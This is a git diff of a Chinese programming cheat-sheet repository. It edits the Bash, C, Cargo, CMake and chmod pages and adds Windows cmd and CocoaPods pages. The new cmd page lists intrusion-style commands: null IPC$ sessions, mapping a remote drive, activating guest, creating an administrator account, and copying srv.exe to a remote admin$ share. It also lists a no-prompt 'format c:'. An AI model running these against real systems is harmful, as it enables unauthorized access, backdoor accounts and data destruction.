`[[ -n STR ]]` | <yel></yel>空字符串
`[[ STR == STR ]]` | 平等的
`[[ STR == STR ]]` | 相等
`[[ STR = STR ]]` | 相等(同上)
`[[ STR < STR ]]` | 小于 _(ASCII)_
`[[ STR > STR ]]` | 大于 _(ASCII)_
@ -410,7 +411,7 @@ if [[ '1. abc' =~ ([a-z]+) ]]; then
fi
```
####
#### 小
```bash
if (( $a < $b )); then
@ -440,10 +441,9 @@ fi
`[[ -w FILE ]]` | 可写
`[[ -x FILE ]]` | 可执行文件
`[[ f1 -nt f2 ]]` | f1 比 f2 新
`[[ f1 -ot f2 ]]` | f2 早于 f1
`[[ f1 -ot f2 ]]` | f2 f1
`[[ f1 -ef f2 ]]` | 相同的文件
### 更多条件
条件 | 描述
@ -451,7 +451,7 @@ fi
`[[ -o noclobber ]]` | 如果启用 OPTION
`[[ ! EXPR ]]` | 不是 Not
`[[ X && Y ]]` | 和 And
`[[ X \|\| Y ]]` | 或者 Or
`[[ X \|\| Y ]]` | 或者 Or
### 逻辑和,或
@ -492,7 +492,7 @@ for i in {1..5}; do
done
```
#### 具有步长
#### 步长
```bash
for i in {5..50..5}; do
@ -510,7 +510,7 @@ while [[ $i -lt 4 ]]; do
done
```
### 自动递
### 自动递
```bash
i=3
@ -554,7 +554,7 @@ until [ $count -gt 10 ]; do
done
```
### 永远
### 死循环
```bash
while true; do
@ -562,7 +562,7 @@ while true; do
done
```
### 永远(简写)
### 死循环(简写)
```bash
while :; do
@ -570,8 +570,7 @@ while :; do
done
```
### 正在读取行
### 读取文件的每一行
```bash
cat file.txt | while read line; do
@ -614,7 +613,7 @@ myfunc() {
result="$(myfunc)"
```
### 正在引发错误
### 抛出错误
```bash
myfunc() {
@ -720,8 +719,7 @@ Bash 历史
`!!` 可以替换为任何有效的扩展,即 `!cat`、`!-2`、`!42` 等。
各种各样的
杂项
-------------
### 数值计算
@ -741,7 +739,6 @@ $(($RANDOM%200)) # Random number 0..199
pwd # still in first directory
```
### 检查命令
```bash
@ -765,7 +762,6 @@ python hello.py &>/dev/null # 标准输出和标准错误到空null
python hello.py < foo.txt # 将 foo.txt 提供给 python 的标准输入
```
### 来源相对
```bash
@ -791,7 +787,6 @@ case "$1" in
esac
```
### 陷阱错误
<!--rehype:wrap-class=col-span-2-->
@ -862,7 +857,6 @@ fi
见[特殊参数](http://wiki.bash-hackers.org/syntax/shellvars#special_parameters_and_shell_variables)。
### grep 检查
<!--rehype:wrap-class=col-span-2-->
@ -872,11 +866,10 @@ if grep -q 'foo' ~/.bash_history; then
fi
```
### 反斜杠转义
<!--rehype:wrap-class=row-span-2-->
- &nbsp;
- &nbsp;
- \!
- \"
- \#
@ -963,11 +956,11 @@ echo "${args[@]}"
另见
----
* [Shell 教程](https://jaywcjlove.github.io/shell-tutorial) _(jaywcjlove.github.io)_
* [Devhints](https://devhints.io/bash) _(devhints.io)_
* [Bash-hackers wiki](http://wiki.bash-hackers.org/) _(bash-hackers.org)_
* [Shell vars](http://wiki.bash-hackers.org/syntax/shellvars) _(bash-hackers.org)_
* [Learn bash in y minutes](https://learnxinyminutes.com/docs/bash/) _(learnxinyminutes.com)_
* [Bash Guide](http://mywiki.wooledge.org/BashGuide) _(mywiki.wooledge.org)_
* [ShellCheck](https://www.shellcheck.net/) _(shellcheck.net)_
* [shell - Standard Shell](https://devmanual.gentoo.org/tools-reference/bash/index.html) _(devmanual.gentoo.org)_
- [Shell 教程](https://jaywcjlove.github.io/shell-tutorial) _(jaywcjlove.github.io)_
- [Devhints](https://devhints.io/bash) _(devhints.io)_
- [Bash-hackers wiki](http://wiki.bash-hackers.org/) _(bash-hackers.org)_
- [Shell vars](http://wiki.bash-hackers.org/syntax/shellvars) _(bash-hackers.org)_
- [Learn bash in y minutes](https://learnxinyminutes.com/docs/bash/) _(learnxinyminutes.com)_
- [Bash Guide](http://mywiki.wooledge.org/BashGuide) _(mywiki.wooledge.org)_
- [ShellCheck](https://www.shellcheck.net/) _(shellcheck.net)_
- [shell - Standard Shell](https://devmanual.gentoo.org/tools-reference/bash/index.html) _(devmanual.gentoo.org)_

View File

@ -44,7 +44,7 @@ int myNum3 = 15; // myNum3 值为 15
myNum3 = 10; // 现在 myNum3 值为 10
float myFloatNum = 5.99; // 浮点数
char myLetter = 'D'; // 字符
char myLetter = 'D'; // 字符
int x = 5;
int y = 6;
@ -560,13 +560,13 @@ printf("Line 6 - c 的值是 %d\n", c );
<!--rehype:wrap-class=col-span-2-->
运算符 | 描述 | 实例
:- |:- |:-
:- |:- |:-
`&` | 按位与操作,按二进制位进行"与"运算 | `(A & B)` 将得到 `12` 即为 0000 1100
`\|` | 按位或运算符,按二进制位进行"或"运算 | `(A \| B)` 将得到 `61` 即为 0011 1101
`^` | 异或运算符,按二进制位进行"异或"运算 | `(A ^ B)` 将得到 `49` 即为 0011 0001
`~` | 取反运算符,按二进制位进行"取反"运算 | `(~A)` 将得到 `-61` 即为 1100 0011
`<<` | 二进制左移运算符 | `A << 2` 将得到 `240` 即为 1111 0000
`>>` | 二进制右移运算符 | `A >> 2` 将得到 `15` 即为 0000 1111
`<<` | 二进制左移运算符 | `A << 2` 将得到 `240` 即为 1111 0000
`>>` | 二进制右移运算符 | `A >> 2` 将得到 `15` 即为 0000 1111
数据类型 Data Types
---
@ -608,7 +608,7 @@ printf("%c\n", myLetter);
printf("%lf\n", myDouble);
```
---
----
数据类型 | 说 明
:- | :-
@ -620,7 +620,6 @@ printf("%lf\n", myDouble);
`double` | 双精度浮点型
`void` | 无类型
### 基本格式说明符
| 格式说明符 | 数据类型 |
@ -659,17 +658,17 @@ printf("%c\n", myLetter);
指令 | 描述
---- | ----
`#define` | 定义宏
`#include` | 包含一个源代码文件
`#undef` | 取消已定义的宏
`#ifdef` | 如果宏已经定义,则返回真
`#ifndef` | 如果宏没有定义,则返回真
`#if` | 如果给定条件为真,则编译下面代码
`#else` | `#if` 的替代方案
`#define` | 定义宏
`#include` | 包含一个源代码文件
`#undef` | 取消已定义的宏
`#ifdef` | 如果宏已经定义,则返回真
`#ifndef` | 如果宏没有定义,则返回真
`#if` | 如果给定条件为真,则编译下面代码
`#else` | `#if` 的替代方案
`#elif` | 如果 `#if` 条件为假,当前条件为`真`
`#endif` | 结束一个 `#if……#else` 条件编译块
`#error` | 当遇到标准错误时,输出错误消息
`#pragma` | 使用标准化方法,向编译器发布特殊的命令到编译器中
`#endif` | 结束一个 `#if……#else` 条件编译块
`#error` | 当遇到标准错误时,输出错误消息
`#pragma` | 使用标准化方法,向编译器发布特殊的命令到编译器中
```c
// 所有的 MAX_ARRAY_LENGTH 替换为 20
@ -743,8 +742,6 @@ Carole 和 Debra: 我们爱你!
需要把一个宏的参数转换为字符串常量时,使用字符串常量化运算符 `#`
### 标记粘贴运算符(##
```c
@ -821,12 +818,12 @@ void myFunction() { // 声明 declaration
}
```
---
----
- `Declaration` 声明函数名称、返回类型和参数 _(如果有)_
- `Definition` 函数体 _(要执行的代码)_
---
----
```c
// 函数声明
@ -949,7 +946,7 @@ printf("%f", floor(1.4)); // 四舍五入 (舍)
printf("%f", pow(4, 3)); // x(4)的y(3)次方
```
---
----
- `abs(x)` 绝对值
- `acos(x)` 反余弦值
@ -1304,16 +1301,21 @@ void main (){
- 安装 [`Docker`](./docker.md)
- 创建 [`Dockerfile`](./dockerfile.md) 文件
```dockerfile
FROM alpine:3.14
RUN apk add --no-cache gcc musl-dev
RUN apk add --no-cache g++
```
- 生成本地 myalpine 镜像
```bash
docker build -t myalpine .
```
- 运行映像,把当前路径 `($PWD)` 映射至容器的 `/test` 目录,用 `gcc` 编译程序,`exit`返回
```bash
docker run -it -v $PWD:/test myalpine
root@b1a38bd7107a:/# cd test
@ -1324,8 +1326,7 @@ void main (){
```
<!--rehype:className=style-timeline-->
另见
---
- [C 教程](https://jaywcjlove.github.io/c-tutorial) _(jaywcjlove.github.io)_
- [C 教程](https://jaywcjlove.github.io/c-tutorial) _(jaywcjlove.github.io)_

View File

@ -6,8 +6,7 @@ Cargo 备忘清单
入门
--------
### 安装 Rust 和 Cargo
### 安装/升级 Rust 和 Cargo
```bash
$ curl -sSf https://static.rust-lang.org/rustup.sh | sh
@ -128,24 +127,27 @@ $ cargo run
Hello, world!
```
### 项目目录
### 来源配置
```bash
.
├── Cargo.lock
├── Cargo.toml
├── benches # 基准目录
│ └── large-input.rs
├── examples # 示例
│ └── simple.rs
├── src # 源代码
│ ├── bin
│ │ └── another_executable.rs
│ ├── lib.rs # 默认库
│ └── main.rs # 入口文件
└── tests # 集成测试
└── some-integration-tests.rs
```toml
# `source` 表下,就是存储有关要更换的来源名称
[source]
# 在`source` 表格之下的,可为一定数量的有关来源名称. 示例下面就,定义了一个新源, 叫 `my-awesome-source`,其内容来自本地,`vendor`目录 ,其相对于包含 `.cargo/config` 文件的目录
[source.my-awesome-source]
directory = "vendor"
# Git sources 也指定一个 branch/tag/rev
git = "https://example.com/path/to/repo"
# branch = "master"
# tag = "v1.0.1"
# rev = "313f44e8"
# crates.io 默认源 在"crates-io"名称下,且在这里我们使用 `replace-with` 字段指明 默认源更换成"my-awesome-source"源
[source.crates-io]
replace-with = "my-awesome-source"
```
<!--rehype:className=wrap-text -->
### 编译测试
@ -155,10 +157,22 @@ $ cargo build
# 输出二进制文件,放入 `target/release` 目录
$ cargo build --release
$ cargo run # 编译并运行
$ cargo test # 运行您的测试
$ cargo test foo # 传递过滤器,来运行特定测试
```
#### 测试
```bash
$ cargo test # 运行你的所有测试
# 指定函数过滤器
$ cargo test test_foo # 开头是 test_foo 的函数都会运行,例如(test_foo_bar)
# 指定特定模块中的测试函数(通常可以简写 cargo test foo::bar::tests::test_foo)
$ cargo test --package rustt --lib -- foo::bar::tests::test_foo --exact --nocapture
# 指定特定测试的模块(通常可以简写 cargo test foo::bar::tests)
$ cargo test --package rustt --lib -- foo::bar::tests --nocapture
```
<!--rehype:className=wrap-text-->
### 配置目标
<!--rehype:wrap-class=row-span-2-->
@ -189,27 +203,24 @@ edition = '2015'
```
<!--rehype:className=wrap-text-->
### 来源配置
### 项目目录
```toml
# `source` 表下,就是存储有关要更换的来源名称
[source]
# 在`source` 表格之下的,可为一定数量的有关来源名称. 示例下面就,定义了一个新源, 叫 `my-awesome-source`,其内容来自本地,`vendor`目录 ,其相对于包含 `.cargo/config` 文件的目录
[source.my-awesome-source]
directory = "vendor"
# Git sources 也指定一个 branch/tag/rev
git = "https://example.com/path/to/repo"
# branch = "master"
# tag = "v1.0.1"
# rev = "313f44e8"
# crates.io 默认源 在"crates-io"名称下,且在这里我们使用 `replace-with` 字段指明 默认源更换成"my-awesome-source"源
[source.crates-io]
replace-with = "my-awesome-source"
```bash
.
├── Cargo.lock
├── Cargo.toml
├── benches # 基准目录
│ └── large-input.rs
├── examples # 示例
│ └── simple.rs
├── src # 源代码
│ ├── bin
│ │ └── another_executable.rs
│ ├── lib.rs # 默认库
│ └── main.rs # 入口文件
└── tests # 集成测试
└── some-integration-tests.rs
```
<!--rehype:className=wrap-text -->
### 配置
@ -266,7 +277,7 @@ $ cargo install --path .
$ cargo install --list
```
----
---
- `--vers version`
- `--version version` 指定要安装的版本
@ -315,13 +326,13 @@ $ cargo uninstall ripgrep
$ cargo login [options] [token]
```
----
---
:-|:-
:-|:-
`--registry` | 要使用的注册表的名称
----
---
:-|:-
:-|:-
@ -339,7 +350,8 @@ $ cargo owner --add username foo
# 从包中删除所有者:
$ cargo owner --remove username foo
```
----
---
:-|:-
:-|:-
@ -357,7 +369,7 @@ $ cargo owner --remove username foo
编译选项
- `--target triple` 为指定架构执行 Package
- `--target triple` 为指定架构执行 Package
- `--target-dir directory` 用于存放生成的工件以及中间文件的目录
特性选择
@ -384,7 +396,7 @@ $ cargo owner --remove username foo
$ cargo package [options]
```
----
---
- `-l`, `--list` 输出包中包含的文件(不实际进行打包)。
- `--no-verify` 构建包时不进行校验。
@ -429,4 +441,4 @@ $ cargo yank --vers 1.0.7 foo
---
- [The Cargo Book](https://doc.rust-lang.org/stable/cargo/) _(doc.rust-lang.org)_
- [Cargo 手册 中文版](https://www.rustwiki.org.cn/zh-CN/cargo/index.html) _(rustwiki.org.cn)_
- [Cargo 手册 中文版](https://www.rustwiki.org.cn/zh-CN/cargo/index.html) _(rustwiki.org.cn)_

View File

@ -107,7 +107,6 @@ d rwx r-x r-x
| `a` | 全部,和 ugo 一样 |
<!--rehype:className=show-header-->
### 权限
| 缩写 | 权限 | 值 |
@ -138,7 +137,6 @@ Chmod 示例
| `-` | 删除 |
| `=` | 设置 |
### chmod 600
```shell
@ -504,4 +502,4 @@ $ find /path -type f -exec chmod 644 {} \;
return perm_num;
}
</script>
```
```

View File

@ -11,8 +11,13 @@ CMake 备忘清单
CMake 是一个用于配置跨平台源代码项目应该如何配置的工具建立在给定的平台上。
```bash
CMakeLists.txt # 希望运行的 CMake 命令
╰┈ main.cpp # 带有 main 的源文件
── CMakeLists.txt # 希望运行的 CMake命令
├── main.cpp # 带有main 的源文件
├── include # 头文件目录
│   └── header.h
└── src # 源代码目录
├── a.c
└── b.c
```
在此项目上运行 `CMake` 时,系统会要求您提供二进制目录,运行 `CMake` 不会创建最终的可执行文件,而是会为 `Visual Studio``XCode``makefile` 生成项目文件。 使用这些工具构建该项目
@ -26,6 +31,18 @@ cmake_minimum_required(VERSION 3.5)
project (hello_cmake)
# 添加可执行文件
add_executable(hello_cmake main.cpp)
# 添加头文件目录
target_include_directories(hello_cmake PRIVATE ./include)
# 批量添加源文件
file(GLOB SRCS CONFIGURE_DEPENDS ./src/*.cpp)
target_sources(hello_cmake PUBLIC ${SRCS})
# 添加第三方库
find_package(OpenGL CONFIG REQUIRED)
# 链接第三方库
target_link_libraries(hello_cmake PRIVATE OpenGL)
# 指定输出路径
set_property(TARGET hello_cmake ${CMAKE_SOURCE_DIR}/bin)
```
#### main.cpp
@ -46,6 +63,7 @@ int main(int argc, char *argv[])
$ mkdir build # 创建 build 目录
$ cd build # 进入目录
$ cmake .. # 目录的上一级目录运行命令
$ make # 使用对应的编译工具
$ ./hello_cmake # 运行生成的 hello_cmake
Hello CMake!
```
@ -72,6 +90,12 @@ $ cmake --build <dir> [<options>] [-- <build-tool-options>]
$ cmake --install <dir> [<options>]
```
运行指定项目
```bash
cmake --build <dir> --target <project>
```
打开一个项目
```bash
@ -108,7 +132,31 @@ $ cmake --workflow [<options>]
$ cmake --help[-<topic>]
```
#### 常用参数
- 方式一: 在`CMakeLists.txt`中使用`set(KEY VAL)`函数
- 方式二: 在执行`cmake ...` -D<arg> 指定(只需一次,推荐)
```cmake
# 指定编译参数(Debug/Release/MinSizeRel/RelWithDebInfo)
$ cmake ... -D CMAKE_BUILD_TYPE=DEBUG
# 指定编译链工具(windows下vcpkg需要)
$ cmake ... -D CMAKE_TOOLCHAIN_FILE=<vcpkg_path>/scripts/buildsystems/vcpkg.cmake
# 指定编译器
$ cmake ... -D CAMKE_C_COMPILER=...
$ cmake ... -D CAMKE_CXX_COMPILER=...
# 指定生成器
$ cmake .. -G "Unix Makefile"
$ cmake .. -G "Ninja"
$ cmake .. -G "Visual Studio 17 2022"
# 设置Cpp标准
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON) # 在检测到不支持时出错
set(CMAKE_CXX_EXTENSIONS ON) #一般设为off否则在msvc上没有特性会出错
```
另见
----
- [CMake Examples](http://ttroy50.github.io/cmake-examples/) _(ttroy50.github.io)_
- [CMake Examples](http://ttroy50.github.io/cmake-examples/) _(ttroy50.github.io)_

286
docs/cmd.md Normal file
View File

@ -0,0 +1,286 @@
Cmd 备忘清单
===
cmd 快速参考备忘单含括了常用的 cmd 命令
常用操作
--------
### 磁盘操作
#### format 参数
参数 | action
:-- | :--
`/q` | 快速格式化
`/u` | 不可恢复
`/autotest` | 不提示
`/s` | 创建 MS-DOS 引导盘
#### format 示例
```shell
format c: /q /u /autotest
```
### 目录操作(一)
#### dir 参数
参数 | action
:--- | :---
`/s` | 查找子目录
`/w` | 只显示文件名
`/p` | 分页
`/a` | 显示隐藏文件
#### dir 示例
```shell
dir format.exe /s
```
<!--rehype:className=wrap-text -->
查找该盘的 `format.exe` 文件并报告位置
### 目录操作(二)
#### cd 参数
可以使用相对目录或绝对目录
参数 | action
:--- | :--
`cd …` | 进入上一个文件夹
`cd \` | 返回根目录
`cd c:\windows` | 进入 `c:\windows` 文件夹
#### md(MKDIR) 参数
参数 | action
:--- | :--
`md HELLOWORLD` | 创建 `HELLOWORLD` 目录
#### rd (RMDIR) 参数
参数 | action
:--- | :--
`rd HELLOWORLD` | 删除 `HELLOWORLD` 目录
### 文件操作
#### rmdir 参数
参数 | action
:--- | :--
`rmdir c:\qqdownload/s` | 删除 `C` 盘的 `qqdownload` 目录
#### del 参数
参数 | action
:--- | :--
`/f` | 删除只读文件
`/s` | 删除该目录及其下的所有内容
`/q` | 删除前不确认
#### del 示例
参数 | action
:--- | :--
`del c:\del /s /q` | 自动删除 c 盘的 del 目录
<!--rehype:className=style-list-->
#### copy 参数
参数 | action
:--- | :--
`copy d:\pwin98*.* c:\presetup` | 将d盘的pwin98的所有文件复制到 c 盘的 presetup 下
<!--rehype:className=style-list-->
#### attrib 参数
attrib命令可以列出或修改磁盘上文件的属性
文件属性包括文档A、只读、隐藏(H)、系统(S)
#### attrib 示例
参数 | action
:--- | :--
`attrib -h -r -s io.sys` | io.sys文件的只读、隐藏、系统属性去掉
`attrib +h +r +s autoexec.bat` | 为自动批处理文件增加以上属性
<!--rehype:className=style-list-->
### net 命令(一)
参数 | action
:--- | :--
`net use ipipc$ " " /user:" "` | 建立IPC空链接
`net use ipipc$ " " /user:" "` | 建立IPC空链接
`net use ipipc$ “密码” /user:"` | 用户名" 建立IPC非空链接
`net use h: ipc$ “密码” /user:“用户名”` | 直接登陆后映射对方C到本地为H:
`net use h: ipc$` | 登陆后映射对方C到本地为H:
`net use ipipc$ /del` | 删除IPC链接
`net use h: /del` | 删除映射对方到本地的为H:的映射
`net user 用户名 密码 /add` | 建立用户
`net user guest /active:yes` | 激活guest用户
`net user` | 查看有哪些用户
`net user 帐户名` | 查看帐户的属性
`net localgroup administrators 用户名 /add` | 把“用户”添加到管理员中使其具有管理员权限
<!--rehype:className=style-list-->
### net 命令(二)
参数 | action
:--- | :--
`net start` | 查看开启了哪些服务
`net start 服务名` | 开启服务;(如:net start telnet net start schedule)
`net stop 服务名` | 停止某服务
`net time 目标ip` | 查看对方时间
`net view` | 查看本地局域网内开启了哪些共享
`net view ip` | 查看对方局域网内开启了哪些共享
`net config` | 显示系统网络设置
`net pause 服务名` | 暂停某服务
`net send ip “文本信息”` | 向对方发信息
`net ver` | 局域网内正在使用的网络连接类型和信息
`net share` | 查看本地开启的共享
`net share ipc$ /del` | 删除ipc$共享
`net share c$ /del` | 删除C共享
`net user guest 12345` | 用guest用户登陆后用将密码改为12345
`net password 密码` | 更改系统登陆密码
<!--rehype:className=style-list-->
### ping 命令
<!--rehype:wrap-class=row-span-2 col-span-2-->
参数 | action
:--- | :--
`-d` | 使用 Socket 的 SO_DEBUG 功能
`-c<完成次数>` | 设置完成要求回应的次数
`-f` | 极限检测
`-i<间隔秒数>` | 指定收发信息的间隔时间
`-I<网络界面>` | 使用指定的网络界面送出数据包
`-l<前置载入>` | 设置在送出要求信息之前,先行发出的数据包
`-n` | 只输出数值
`-p<范本样式>` | 设置填满数据包的范本样式
`-q` | 不显示指令执行过程,开头和结尾的相关信息除外
`-r` | 忽略普通的Routing Table直接将数据包送到远端主机上
`-R` | 记录路由过程
`-s<数据包大小>` | 设置数据包的大小
`-t<存活数值>` | 设置存活数值TTL的大小
`-v` | 详细显示指令的执行过程
### tracert 命令
参数 | action
:--- | :--
`-d` | 不将地址解析成主机名
`-h maximum_hops` | 搜索目标的最大跃点数默认30
`-w timeout` | 等待每个回复的超时时间(以毫秒为单位)
`-R` | 跟踪往返行程路径(仅适用于 IPv6)
`-S srcaddr` | 要使用的源地址(仅适用于 IPv6)
`-4` | 强制使用 IPv4
`-6` | 强制使用 IPv6
### netstat 命令
参数 | action
:--- | :--
`netstat -a` | 查看开启了哪些端口,常用netstat -an
`netstat -n` | 查看端口的网络连接情况常用netstat -an
`netstat -v` | 查看正在进行的工作
`netstat -p 协议名` | 例netstat -p tcq/ip 查看某协议使用情况
`netstat -s` | 查看正在使用的所有协议使用情况
`nbtstat -A ip` | 对方136到139其中一个端口开了的话就可查看对方最近登陆的用户名
启动程序
--------
### 启动程序(一)
<!--rehype:wrap-class=row-span-3-->
参数 | action
:--- | :--
`appwiz.cpl` | 程序和功能
`calc` | 启动计算器
`certmgr.msc` | 证书管理实用程序
`charmap` | 启动字符映射表
`chkdsk.exe` | Chkdsk磁盘检查管理员身份运行命令提示符
`cleanmgr` | 打开磁盘清理工具
`cliconfg` | SQL SERVER 客户端网络实用工具
`cmstp` | 连接管理器配置文件安装程序
`compmgmt.msc` | 计算机管理
`omexp.msc` | 打开系统组件服务
`control` | 控制面版
### 启动程序(二)
<!--rehype:wrap-class=row-span-3-->
参数 | action
:--- | :--
`dcomcnfg` | 打开系统组件服务
`devmgmt.msc` | 设备管理器
`diskmgmt.msc` | 磁盘管理
`eventvwr` | 事件查看器
`explorer` | 打开资源管理器
`Firewall.cpl` | Windows防火墙
`fsmgmt.msc` | 共享文件夹管理器
`hdwwiz.cpl` | 设备管理器
`lusrmgr.msc` | 本地用户和组
`Msra` | 远程协助
`mstsc` | 远程桌面连接
`notepad` | 打开记事本
`shrpubw` | 创建共享文件夹
### 自动关机
参数 | action
:--- | :--
`shutdown -s -t 600` | 表示600秒后自动关机
`shutdown -a` | 可取消定时关机
`shutdown -r -t 600` | 表示600秒后自动重启
`rundll32 user32.dll, LockWorkStation` | 表示锁定计算机
<!--rehype:className=style-list-->
其他
--------
### (一)
参数 | action
:--- | :--
`ipconfig (winipcfg)` | 查看本地ip可加/all
`kill -F 进程名` | 加-F参数后强制结束某进程
`del -F 文件名` | 加-F参数可删除只读文件
`move 源路径文件 目的路径` | 移动文件,可修改文件名
`fc one.txt two.txt > 3st.txt` | 对比文件并输出到3st.txt
`finger username @host` | 查看最近用户登陆
`telnet` | 进入本机的telnet
`telnet ip 端口` | 远程登陆服务器,默认端口为23
<!--rehype:className=style-list-->
### (二)
参数 | action
:--- | :--
`copy c:srv.exe ipadmin$` | 复制本地c:srv.exe到对方的admin下
`set` | 显示当前所有的环境变量
`set 环境变量名称=变量的字符` | 添加环境变量
`set p(或其它字符)` | 显示出当前以字符p(或其它字符)开头的所有环境变量
`pause` | 暂停批处理程序,并显示出:请按任意键继续…
`echo on/off` | 打开或关闭echo仅用echo不加参数则显示当前echo设置
`echo 信息` | 在屏幕上显示出信息
<!--rehype:className=style-list-->
### (三)
参数 | action
:--- | :--
`echo 信息 >> pass.txt` | 将"信息"保存到pass.txt文件中
`findstr “Hello” aa.txt` | 在aa.txt文件中寻找字符串hello
`find 文件名` | 查找某文件
`regedit /s` | 注册表文件名 导入注册表;参数/S指安静模式导入无任何提示
`regedit /e` | 注册表文件名 导出注册表
`cacls 文件名` | 查看文件的访问用户权限列表
`REM 文本内容` | 在批处理文件中添加注解
`netsh` | 查看或更改本地网络配置情况
<!--rehype:className=style-list-->

261
docs/cocoapods.md Normal file
View File

@ -0,0 +1,261 @@
CocoaPods 备忘清单
===
[CocoaPods](https://en.wikipedia.org/wiki/Cron) 是 [Swift](./swift.md) 和 Objective-C Cocoa 项目的依赖管理器,此快速参考备忘单显示了它的常用命令使用清单。
入门
---
### 安装
<!--rehype:wrap-class=row-span-2-->
```bash
$ sudo gem install cocoapods
```
无 Sudo 安装,不想为此过程授予 `RubyGems` 管理员权限
```bash
export GEM_HOME=$HOME/.gem
export PATH=$GEM_HOME/bin:$PATH
```
编辑 `.bash_profile` 配置文件,添加上面内容
```bash
$ gem install cocoapods --user-install
$ gem which cocoapods
/Users/wcj/.gem/ruby/2.0.0/gems/cocoapods-0.29.0/lib/cocoapods.rb
$ /Users/wcj/.gem/ruby/2.0.0/bin/pod install
```
<!--rehype:className=wrap-text-->
### 更新 CocoaPods
```bash
$ gem install cocoapods
```
或者对于预发布版本
```bash
$ gem install cocoapods --pre
```
### 安装
<!--rehype:wrap-class=row-span-2-->
```bash
$ pod install
```
在您的项目中安装新的 `pod`,即使你已经有一个 `Podfile` 并且之前运行过 `pod install` 因此,即使您只是在已经使用 `CocoaPods` 的项目中添加/删除 `pod`
- 会在 `Podfile.lock` 文件中为每个 pod 写入已安装的版本,此文件跟踪每个 pod 的已安装版本并锁定这些版本
- 它只会解析 `Podfile.lock` 中尚未列出的 pod 的依赖关系
- 对于 `Podfile.lock` 中列出的 pod会下载 `Podfile.lock` 中列出的显式版本,而不尝试检查是否有更新的版本可用
下载 `Podfile` 中定义的所有依赖项,并在 `./Pods` 中创建一个 `Xcode Pods` 库项目
### 更新过时的依赖
```bash
$ pod outdated
```
显示当前 `Podfile.lock` 中过时的 `pod`,但仅显示来自规范 `repos` 的那些,而不是来自本地/外部来源的那些
### 更新依赖
```bash
$ pod update
$ pod update PODNAME
```
更新由指定 `pod` 名称标识的 `Pod`。 如果没有指定 `Pod` 名称,它会更新所有 `Pod`,而忽略 `Podfile.lock` 的内容。 此命令保留用于更新依赖项,应使用 `pod install` 安装对 `Podfile` 的更改
### 清理 Pods 依赖
```bash
$ pod deintegrate
```
`CocoaPods` 中分离您的项目。 从您的 `Xcode` 项目中删除所有 `CocoaPods` 的痕迹。如果未指定 `xcodeproj`,则将在当前目录中搜索 `Xcode` 项目
### pod env
```bash
$ pod env
```
显示 pod 环境
### 将 Pod 添加到 Xcode 项目
- 创建一个 Podfile并添加您的依赖项
```ruby
# Podfile
target 'MyApp' do
pod 'AFNetworking', '~> 3.0'
pod 'FBSDKCoreKit', '~> 4.9'
end
```
- 在您的项目目录中运行 `$ pod install`
- 打开 `App.xcworkspace` 并构建
<!--rehype:className=style-timeline-->
### 创建一个新的 Cocoapod
命令 | 说明
:-- | --
`pod lib create pod_name` | 为您创建一个新的 pod 项目
`pod trunk push pod_name.podspec` | 将 podspec 推送到 trunk
`pod spec create pod_name` | 为您创建 podspec 模板
<!--rehype:className=style-list-->
### 浏览
- `pod search QUERY` 搜索名称、摘要、描述或作者与 QUERY 匹配的 pod忽略大小写。 如果指定了 --simple 选项,这将只搜索 pod 的名称
- `pod list` 列出所有可用的 pod
- `pod try NAME|URL` 下载具有给定名称(或 Git URL的 Pod如果需要安装其依赖项并打开其演示项目。 如果提供了 Git URL则使用 repo 的头部。 如果指定了 Git URL则可以提供 --podspec_name如果 podspec 名称由于某种原因与 git 存储库不同
### 规格
<!--rehype:wrap-class=col-span-2-->
- `pod spec create [NAME\|https://github.com/USER/REPO]` 在当前工作目录中创建一个名为 NAME.podspec 的 PodSpec。如果传递了 GitHub url则预先填充规范。
- `pod spec lint [NAME.podspec|DIRECTORY|http://PATH/NAME.podspec ...]` 验证 NAME.podspec。 如果提供了 DIRECTORY它会验证找到的 podspec 文件,包括子文件夹。 如果省略参数,则默认为当前工作目录。
- `pod spec cat [QUERY]` 将名称与 QUERY 匹配的 podspec 的内容打印到标准输出。
- `pod spec which [QUERY]` 打印名称与 QUERY 匹配的 .podspec 文件的路径
- `pod spec edit [QUERY]` 打开要编辑的与 QUERY 匹配的 podspec。
### Repos
<!--rehype:wrap-class=row-span-2-->
命令 | 说明
:-- | --
`pod repo add NAME URL [BRANCH]` | 在 `~/.cocoapods/repos/` 的本地 spec-repos 目录中克隆 URL。远程可以稍后由 NAME 引用
`pod repo update [NAME]` | 更新 spec-repo NAME 的本地克隆。如果 NAME 被省略,这将更新 ~/.cocoapods/repos 中的所有 spec-repos
`pod repo lint [NAME\|DIRECTORY]` | 对 spec-repo NAME 进行 lints。如果提供了目录则假定它是存储库的根目录。最后如果没有提供 NAME这将 lint CocoaPods 已知的所有规范库
`pod repo list` | 从 `~/.cocoapods/repos/` 的本地 spec-repos 目录中列出 repos
`pod repo remove NAME` | 从 `~/.cocoapods/repos/` 的本地 spec-repos 目录中删除名为 NAME 的远程
`pod repo push REPO [NAME.podspec]` | 验证当前工作目录中的 `NAME.podspec` 或 \*.podspec在 REPO 的本地副本 (`~/.cocoapods/repos/[REPO]`) 中为 pod 创建目录和版本文件夹,将 podspec 文件复制到版本中目录,最后它将 REPO 推送到其远程
`pod setup` | 在 `~/.cocoapods/repos` 创建一个目录,该目录将保存您的规范存储库。它将在这里创建公共主规范仓库的克隆:<https://github.com/CocoaPods/Specs> 如果克隆已经存在,它将确保它是最新的
<!--rehype:className=style-list-arrow-->
### Trunk
<!--rehype:wrap-class=col-span-2-->
- `pod trunk add-owner POD OWNER-EMAIL` 将具有指定 OWNER-EMAIL 的注册用户添加为给定 POD 的 `owner`
- `pod trunk info NAME` 返回有关 Pod 的信息
- `pod trunk me` 包括有关您的注册的信息,然后是您的所有会话
- `pod trunk push [PATH]` 在 PATH 发布 podspec 以使其可供 `master` 规范存储库的所有用户使用
- `pod trunk register EMAIL [NAME]` 注册一个新帐户,或创建一个新会话
- `pod trunk remove-owner POD OWNER-EMAIL` 将具有指定 OWNER-EMAIL 的用户从给定 POD 的 owner 中移除
- `pod trunk deprecate NAME` 弃用 pod
- `pod trunk delete NAME VERSION` *警告*:删除其他人所依赖的 Pod 版本通常被认为是不良行为!请考虑改用 <red>`deprecate`</red> 命令
什么是 Podfile
---
### 简单配置
```ruby
target 'MyApp' do
use_frameworks!
pod 'Alamofire', '~> 3.0'
end
```
Podfile 可以非常简单,这会将 Alamofire 添加到单个目标
### 添加测试
<!--rehype:wrap-class=row-span-2-->
```ruby
source 'https://github.com/CocoaPods/Specs.git'
source 'https://github.com/Artsy/Specs.git'
